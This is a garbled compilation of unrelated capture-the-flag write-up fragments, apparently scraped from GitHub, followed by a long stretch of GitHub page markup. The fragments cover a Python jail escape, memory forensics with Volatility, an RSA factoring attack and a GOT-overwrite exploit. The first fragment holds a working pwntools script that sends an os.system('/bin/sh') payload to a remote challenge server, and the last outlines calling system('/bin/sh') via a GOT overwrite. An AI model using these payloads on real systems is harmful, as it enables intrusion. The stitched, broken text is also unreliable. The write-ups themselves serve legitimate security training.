Name: whatever[day-1] ################## Work List ################## coworker : Find Coworker For Escape tool : Find Any Tool dig : Go Deep~ bomb : make boooooooomb!!!###############################################diggTraceback (most recent call last): File "/home/impel_down/Impel_Down.py", line 140, in <module> result = eval("your."+work+"()") File "<string>", line 1, in <module>AttributeError: Esacpe_Player instance has no attribute 'digg'```
Our Approachresult = eval("your."**dig(),[some trick],exit**"()")
also we assume that Name was saved into "**name**" variable
we can insert any python payload into **Name** then eval **name** variable in **result**
```from pwn import *
a = remote("ch41l3ng3s.codegate.kr",2014)print a.recvuntil("Name :")a.sendline('__import__("os").system("/bin/sh")')print a.recvuntil("###############################################")a.sendline("dig(),eval(name),exit")a.interactive()```
Then we found file named FLAG in /```$ file /FLAG*FLAG_FLAG_FLAG_LOLOLOLOLOLOL: executable, regular file, no read permission$ /FLAG* G00000000d !! :) I think you are familiar with Python ! FLAG{Pyth0n J@il escape 1s always fun @nd exc1ting ! :)}``` |
# Hidden (100 PTS)### Description>Find the hidden process.>The flag is SharifCTF{MD5(Process id)}.
Flag: ```SharifCTF{4f4adcbf8c6f66dcfc8a3282ac2bf10a}```
### Files
- [dump.zip](https://github.com/VoidHack/write-ups/blob/master/SharifCTF%208/forensics/hidden/dump.zip)
### Solution Inside of the given archive we can found a raw dump of windows memory. It sounds like [Volatility](http://www.volatilityfoundation.org/) can support us to investigate that dump. Let's take two listings from commands: - ```psscan``` (it shows all processes, include hidden) - ```pslist``` (it show only visible processes)
```C:\Users\Vova\Desktop\SharifCTF8> volatility.exe -f dump pslist > pslist.txtVolatility Foundation Volatility Framework 2.4
C:\Users\Vova\Desktop\SharifCTF8> volatility.exe -f dump psscan > psscan.txtVolatility Foundation Volatility Framework 2.4
C:\Users\Vova\Desktop\SharifCTF8> ```
Now we should find a difference between two files. ```fc``` won't help there cause they aren't in the same format.


So, can you see the difference? Yes, these three processes:

As you see, two of them was closed, and we need to submit the last PID.
```C:\Users\Vova\Desktop\SharifCTF8> pythonPython 3.6.4 (v3.6.4:d48eceb, Dec 19 2017, 06:04:45) [MSC v.1900 32 bit (Intel)] on win32Type "help", "copyright", "credits" or "license" for more information.>>> from hashlib import md5>>> md5(b'404').hexdigest()'4f4adcbf8c6f66dcfc8a3282ac2bf10a'>>>``` |
tl;dr:1. Recover server certificate from pcap2. Extract RSA public key3. Factor modulus with Williams p+1 method4. Forge private RSA key5. Decrypt SSL traffic
Full writeup here: https://github.com/p4-team/ctf/tree/master/2017-12-09-seccon-quals/crypto_smooth |
1. Leak the address of a library function in the GOT. In this case, we’ll leak puts()’s GOT entry 2. Get libc’s base address so we can calculate the address of other library functions. 3. Compute system()'s address4. Overwrite a GOT entry’s address (puts) with system()’s address 5. Write /bin/sh to writeable area , in this case .bss 6. Invoke system("/bin/sh") |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTFs/Codegate CTF 2018/RedVelvet - 254pts (Rev) at master · AnisBoss/CTFs · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B060:F4A8:5776E59:59E0446:64122722" data-pjax-transient="true"/><meta name="html-safe-nonce" content="6a2dbd9bc4869d814435b7f4e844ab06ed7b79dd37b782a425c469cc13aea9ac" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMDYwOkY0QTg6NTc3NkU1OTo1OUUwNDQ2OjY0MTIyNzIyIiwidmlzaXRvcl9pZCI6IjY4MDkyNTI5NTEwMzI0NzMzNzgiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="37cb620400fcbb9479d2b19199a00d1372b93d4c66e7a9838e681f3e4a95ae1b" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:102334842" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="This repo contains some writeups made by me during multiples CTFs. - CTFs/Codegate CTF 2018/RedVelvet - 254pts (Rev) at master · AnisBoss/CTFs"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/863692b7d1fafc9d284ec0be60dc600f500cbcd2ad5ac766424bb7647f208db7/AnisBoss/CTFs" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTFs/Codegate CTF 2018/RedVelvet - 254pts (Rev) at master · AnisBoss/CTFs" /><meta name="twitter:description" content="This repo contains some writeups made by me during multiples CTFs. - CTFs/Codegate CTF 2018/RedVelvet - 254pts (Rev) at master · AnisBoss/CTFs" /> <meta property="og:image" content="https://opengraph.githubassets.com/863692b7d1fafc9d284ec0be60dc600f500cbcd2ad5ac766424bb7647f208db7/AnisBoss/CTFs" /><meta property="og:image:alt" content="This repo contains some writeups made by me during multiples CTFs. - CTFs/Codegate CTF 2018/RedVelvet - 254pts (Rev) at master · AnisBoss/CTFs" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTFs/Codegate CTF 2018/RedVelvet - 254pts (Rev) at master · AnisBoss/CTFs" /><meta property="og:url" content="https://github.com/AnisBoss/CTFs" /><meta property="og:description" content="This repo contains some writeups made by me during multiples CTFs. - CTFs/Codegate CTF 2018/RedVelvet - 254pts (Rev) at master · AnisBoss/CTFs" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/AnisBoss/CTFs git https://github.com/AnisBoss/CTFs.git">
<meta name="octolytics-dimension-user_id" content="11429289" /><meta name="octolytics-dimension-user_login" content="AnisBoss" /><meta name="octolytics-dimension-repository_id" content="102334842" /><meta name="octolytics-dimension-repository_nwo" content="AnisBoss/CTFs" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="102334842" /><meta name="octolytics-dimension-repository_network_root_nwo" content="AnisBoss/CTFs" />
<link rel="canonical" href="https://github.com/AnisBoss/CTFs/tree/master/Codegate%20CTF%202018/RedVelvet%20-%20254pts%20(Rev)" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
